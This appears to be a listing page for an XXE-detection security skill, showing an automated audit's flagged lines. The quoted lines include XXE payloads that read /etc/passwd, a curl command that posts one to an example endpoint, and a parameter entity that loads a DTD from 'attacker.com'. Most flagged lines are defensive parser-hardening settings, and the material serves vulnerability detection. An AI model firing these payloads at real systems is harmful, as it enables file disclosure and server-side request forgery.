sast-xxe
Detects XML External Entity (XXE) vulnerabilities in codebases using a structured three-phase approach for security assessments.
Install this skill
Security score
The sast-xxe skill was audited on Jun 6, 2026 and we found 20 security issues across 3 threat categories, including 3 critical. Review the findings below before installing.
Categories Tested
Security Issues
Curl to non-GitHub URL
| 490 | > curl -X POST https://app.example.com/api/import \ |
Access to /etc/passwd
| 29 | - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` |
Access to /etc/passwd
| 492 | > -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' |
Access to /etc/passwd
| 493 | > Look for /etc/passwd content in the response body.] |
External URL reference
| 29 | - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` |
External URL reference
| 31 | - Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;` |
External URL reference
| 33 | - SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services |
External URL reference
| 52 | dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
External URL reference
| 53 | dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); |
External URL reference
| 54 | dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
External URL reference
| 62 | spf.setFeature("http://xml.org/sax/features/external-general-entities", false); |
External URL reference
| 63 | spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
External URL reference
| 64 | spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
External URL reference
| 167 | dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
External URL reference
| 168 | dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); |
External URL reference
| 169 | dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
External URL reference
| 187 | factory.setFeature("http://xml.org/sax/features/external-general-entities", false); |
External URL reference
| 188 | factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
External URL reference
| 189 | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
External URL reference
| 490 | > curl -X POST https://app.example.com/api/import \ |